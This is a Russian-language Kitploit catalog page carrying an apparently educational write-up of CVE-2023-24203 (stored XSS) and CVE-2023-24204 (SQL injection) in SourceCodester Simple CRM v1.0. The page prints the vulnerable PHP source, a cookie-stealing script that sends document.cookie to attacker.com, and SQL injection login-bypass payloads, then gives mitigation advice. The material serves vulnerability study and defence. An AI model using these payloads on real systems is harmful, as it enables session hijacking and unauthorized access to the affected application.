Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-24203-and-CVE-2023-24204 — # Образовательный анализ CVE-2023-24203 (хранимая XSS) и CVE-2023-24204 (SQL-инъекция) в SourceCodester CRM, с шагами эксплуатации и стратегиями смягчения последствий. | Kitploit
Инструменты/GitHubGitHub/momo1239/cve-2023-24203-and-cve-2023-24204
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьСтатьи и ИсследованияОбучение и Образование
GitHubmomo1239/cve-2023-24203-and-cve-2023-24204

CVE-2023-24203-and-CVE-2023-24204

# Образовательный анализ CVE-2023-24203 (хранимая XSS) и CVE-2023-24204 (SQL-инъекция) в SourceCodester CRM, с шагами эксплуатации и стратегиями смягчения последствий.

Репозиторий
12 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-24203-and-CVE-2023-24204

Введение

В постоянно развивающемся ландшафте кибербезопасности веб-приложения остаются главной целью для злоумышленников, стремящихся использовать уязвимости. Недавно в SourceCodester Simple Customer Relationship Management (CRM) System v1.0 были обнаружены две критические уязвимости: CVE-2023-24203 и CVE-2023-24204. Эти уязвимости, связанные с межсайтовым скриптингом (XSS) и SQL-инъекциями, представляют значительные риски, включая выполнение произвольного кода и несанкционированный доступ. Понимание этих уязвимостей и их последствий необходимо разработчикам и специалистам по безопасности для защиты систем от потенциальных угроз.

Межсайтовый скриптинг (XSS)

Межсайтовый скриптинг (XSS) — это тип уязвимости, который возникает, когда веб-приложение позволяет пользователям внедрять вредоносные скрипты на веб-страницы, просматриваемые другими пользователями. Это может привести к несанкционированным действиям от имени пользователя, краже данных и дальнейшей эксплуатации. Уязвимости XSS можно разделить на три основных типа:

  1. Хранимый XSS: Вредоносный скрипт постоянно хранится на целевом сервере, например, в базе данных, на форуме сообщений или в поле комментария.
  2. Отражённый XSS: Вредоносный скрипт отражается веб-сервером, например, в сообщении об ошибке, результате поиска или любом другом ответе, который включает часть или весь ввод, отправленный на сервер.
  3. DOM-ориентированный XSS: Уязвимость существует в клиентском коде, а не в серверном.

SQL-инъекция

SQL-инъекция — это тип уязвимости, который возникает, когда атакующий может манипулировать SQL-запросами, внедряя произвольный SQL-код в запрос. Это может привести к несанкционированному доступу, краже данных и другим вредоносным действиям. SQL-инъекции обычно возникают из-за недостаточной проверки входных данных и отсутствия параметризованных запросов. Основные последствия SQL-инъекций включают:

  1. Несанкционированный доступ: Злоумышленники могут обойти механизмы аутентификации и получить несанкционированный доступ к системе.
  2. Кража данных: Злоумышленники могут похитить конфиденциальную информацию из базы данных.
  3. Манипулирование данными: Злоумышленники могут изменять, вставлять или удалять данные в базе данных.

В этой статье мы подробно рассмотрим CVE-2023-24203 и CVE-2023-24204, изучим особенности этих уязвимостей, векторы атак, последствия и стратегии смягчения. Глубокое понимание этих уязвимостей имеет решающее значение для защиты ваших приложений и данных от потенциальных эксплойтов.

Распространённые причины SQL-инъекций в веб-приложениях

Уязвимости SQL-инъекций часто возникают из-за недостаточной проверки входных данных и некачественных методов программирования. Некоторые распространённые причины включают:

  1. Отсутствие параметризованных запросов: Неиспользование параметризованных запросов позволяет злоумышленникам внедрять вредоносный SQL-код в строку запроса.
  2. Недостаточная проверка входных данных: Некорректная проверка пользовательского ввода может привести к выполнению непредусмотренных SQL-команд.
  3. Динамические SQL-запросы: Динамическое построение SQL-запросов путём конкатенации строк непосредственно из пользовательского ввода может создавать эксплуатируемые уязвимости.
  4. Недостаточное экранирование пользовательского ввода: Некорректное экранирование специальных символов в пользовательском вводе может допустить атаки SQL-инъекций.
  5. Устаревший код: Более старые кодовые базы могут не соответствовать современным практикам безопасности, что делает их более восприимчивыми к SQL-инъекциям.

Распространённые причины XSS в веб-приложениях

Уязвимости межсайтового скриптинга (XSS) обычно возникают из-за неправильной обработки пользовательского ввода и вывода. Распространённые причины включают:

  1. Некорректное кодирование вывода: Отсутствие кодирования пользовательского ввода перед отображением на веб-страницах может допустить внедрение вредоносных скриптов.
  2. Недостаточная проверка входных данных: Отсутствие проверки или очистки пользовательского ввода может привести к выполнению внедрённых скриптов.
  3. Отражение пользовательского ввода: Прямое отражение пользовательского ввода в ответах без надлежащей проверки или кодирования может привести к отражённому XSS.
  4. Хранение пользовательского ввода: Хранение пользовательского ввода без надлежащей очистки может привести к атакам хранимого XSS.
  5. Манипулирование DOM: Небезопасное манипулирование объектной моделью документа (DOM) на основе пользовательского ввода может привести к DOM-ориентированному XSS.

CVE-2023-24203: Обнаружение хранимого XSS!

Сводка об уязвимости

CVE-2023-24203 — это уязвимость хранимого межсайтового скриптинга (XSS), обнаруженная в компоненте get-quote.php системы SourceCodester Simple Customer Relationship Management (CRM) v1.0. Эта уязвимость позволяет атакующему внедрять вредоносные скрипты в параметры company и query, которые затем сохраняются в базе данных и выполняются при просмотре администратором, что приводит к выполнению произвольного кода.

Детали уязвимости

Уязвимость находится в скрипте get-quote.php, который обрабатывает пользовательский ввод из формы запроса котировки. Исходный код PHP приведён ниже:

root@kitploit:~
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
    $name=$_POST['name'];
    $email=$_POST['email'];
    $contact=$_POST['contact'];
    $company=$_POST['company'];
    $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
    $other=$_POST['other'];
    $query=$_POST['query'];
    $pd=date('Y-m-d');
    mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
    echo "<script>alert('Query received. We will contact you soon.');</script>";  
    echo "<script>window.location.href='get-quote.php'</script>";
}
?>

Скрипт принимает пользовательский ввод из формы (name, email, contact, company, services, other и query) и напрямую включает его в SQL-запрос для сохранения данных в базе данных. Хотя ввод services очищается с помощью mysqli_real_escape_string и addslashes, параметры company и query не очищаются и не кодируются должным образом при выводе в ответе. Отсутствие надлежащей очистки и кодирования позволяет внедрять и сохранять вредоносные скрипты в базе данных.

Эксплуатация

Чтобы эксплуатировать эту уязвимость, атакующий может создать полезную нагрузку, содержащую вредоносный JavaScript-код в параметре company или query. Когда администратор просматривает запрос котировки, внедрённый скрипт выполняется в его браузере.

Пример эксплойт-полезной нагрузки

Отправив следующую полезную нагрузку в параметре query:

root@kitploit:~
<script>alert('XSS');</script>

Атакующий может инициировать XSS-атаку, когда администратор просматривает запрос котировки.

Кража cookie-файлов администратора

Можно создать более опасную полезную нагрузку для кражи сессионных cookie-файлов администратора. Используя следующую полезную нагрузку в параметре query:

root@kitploit:~
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>

Атакующий может отправить cookie-файлы администратора на удалённый сервер, контролируемый атакующим.

Шаги эксплуатации

Отправка вредоносного запроса котировки: Атакующий заполняет форму запроса котировки, внедряя вредоносную полезную нагрузку в поле company или query.

root@kitploit:~
<form method="post" action="get-quote.php">
    <input type="text" name="company" value="CompanyX"><br>
    <input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
    <input type="submit" name="submit" value="Submit">
</form>

Просмотр запроса администратором: Когда администратор входит в CRM-систему и просматривает отправленную котировку, вредоносный скрипт выполняется в его браузере, отправляя его сессионные cookie-файлы на сервер атакующего.

Последствия

Успешная эксплуатация этой уязвимости хранимого XSS позволяет атакующему выполнять произвольный JavaScript в контексте браузера администратора. Это может привести к различным вредоносным действиям, включая:

Кражу сессионных cookie-файлов Перехват пользовательских сессий Выполнение несанкционированных действий от имени администратора Перенаправление администратора на вредоносные веб-сайты

Смягчение

Чтобы смягчить эту уязвимость, необходимо очищать и кодировать все пользовательские вводы перед их включением в веб-страницу. В частности:

Очистка ввода: Используйте такие функции, как htmlspecialchars(), для кодирования специальных символов в пользовательском вводе. Проверка ввода: Внедрите строгую проверку входных данных, чтобы гарантировать принятие только ожидаемых данных. Политика безопасности контента (CSP): Используйте заголовки CSP, чтобы ограничить источники, из которых могут загружаться и выполняться скрипты.

CVE-2023-24204: Обнаружение SQL-инъекции и обхода аутентификации!

CVE-2023-24204 — это уязвимость SQL-инъекции, обнаруженная в компонентах get-quote.php и login.php системы SourceCodester Simple Customer Relationship Management (CRM) v1.0. Эта уязвимость позволяет атакующему внедрять произвольные SQL-команды в базу данных, что потенциально может привести к несанкционированному доступу и манипулированию данными.

Детали уязвимости

Уязвимость SQL-инъекции присутствует как в скрипте get-quote.php, так и в admin/login.php. Ниже приведён анализ того, как эти уязвимости проявляются и могут быть эксплуатированы.

get-quote.php

Скрипт get-quote.php обрабатывает пользовательский ввод из формы запроса котировки. Исходный код приведён ниже:

root@kitploit:~
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
    $name=$_POST['name'];
    $email=$_POST['email'];
    $contact=$_POST['contact'];
    $company=$_POST['company'];
    $services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
    $other=$_POST['other'];
    $query=$_POST['query'];
    $pd=date('Y-m-d');
    mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
    echo "<script>alert('Query received. We will contact you soon.');</script>";  
    echo "<script>window.location.href='get-quote.php'</script>";
}
?>

Давайте также рассмотрим логику исходного кода login.php.

root@kitploit:~
<?php
session_start();
error_reporting(0);
include("dbconnection.php");
if(isset($_POST['login']))
{
$ret=mysqli_query($con,"SELECT * FROM user WHERE email='".$_POST['email']."' and password='".$_POST['password']."'");
$num=mysqli_fetch_array($ret);
if($num>0)
{
$_SESSION['login']=$_POST['email'];
$_SESSION['id']=$num['id'];
$_SESSION['name']=$num['name'];
$val3 =date("Y/m/d");
date_default_timezone_set("Asia/Calcutta");
$time=date("h:i:sa");
$tim = $time;
$ip_address=$_SERVER['REMOTE_ADDR'];
$geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip_address;
$addrDetailsArr = unserialize(file_get_contents($geopluginURL)); 
$city = $addrDetailsArr['geoplugin_city']; 
$country = $addrDetailsArr['geoplugin_countryName'];
ob_start();
system('ipconfig /all');
$mycom=ob_get_contents();
ob_clean();
$findme = "Physical";
$pmac = strpos($mycom, $findme);
$mac=substr($mycom,($pmac+36),17);
$ret=mysqli_query($con,"insert into usercheck(logindate,logintime,user_id,username,email,ip,mac,city,country)values('".$val3."','".$tim."','".$_SESSION['id']."','".$_SESSION['name']."','".$_SESSION['login']."','$ip_address','$mac','$city','$country')");

$extra="dashboard.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
$_SESSION['action1']="Invalid username or password";
$extra="login.php";

echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}
?>

Анализ уязвимости

Скрипт get-quote.php не очищает должным образом параметр name. Атакующий может перехватить запрос с помощью такого инструмента, как Burp Suite, изменить параметр name и внедрить вредоносные SQL-команды.

Скрипт login.php уязвим к обходу аутентификации из-за отсутствия надлежащей проверки входных данных в полях email и password. Атакующий может использовать полезную нагрузку, например hack' or 1=1;# , чтобы обойти аутентификацию и получить доступ.

Эксплуатация

  1. Эксплуатация get-quote.php
  2. Перехватите запрос: Используйте прокси-инструмент, такой как Burp Suite, для перехвата запроса отправки формы.
  3. Измените параметр name: Внедрите вредоносные SQL-команды в параметр name. Например:

' OR '1'='1';--

  1. Отправьте изменённый запрос: Отправьте изменённый запрос на сервер. Внедрённая SQL-команда будет выполнена базой данных.

  2. Эксплуатация login.php

  3. Перейдите на страницу входа: Откройте страницу login.php.

  4. Введите вредоносную полезную нагрузку: Используйте полезную нагрузку, например hack' or 1=1;# , в поле email и любую строку в поле password.



  1. Обойдите аутентификацию: Отправьте форму. Полезная нагрузка обходит аутентификацию, предоставляя доступ к учётной записи.

Последствия

Успешная эксплуатация этих уязвимостей SQL-инъекции может привести к различным вредоносным действиям, включая:

Несанкционированный доступ: Злоумышленники могут получить административный доступ к системе. Кража данных: Злоумышленники могут похитить конфиденциальную информацию из базы данных. Манипулирование данными: Злоумышленники могут изменять, вставлять или удалять данные в базе данных. Смягчение

Чтобы смягчить эти уязвимости, необходимо внедрить надлежащую проверку входных данных и использовать параметризованные запросы. В частности:

Используйте подготовленные выражения: Внедрите параметризованные запросы для предотвращения SQL-инъекций. Проверяйте входные данные: Применяйте строгую проверку входных данных, чтобы гарантировать принятие только ожидаемых данных. Экранируйте ввод: Корректно экранируйте все пользовательские вводы перед использованием их в SQL-запросах.

Следуя этим рекомендациям, вы можете значительно снизить риск атак SQL-инъекций и защитить своё веб-приложение от потенциальной эксплуатации.

Скачать инструмент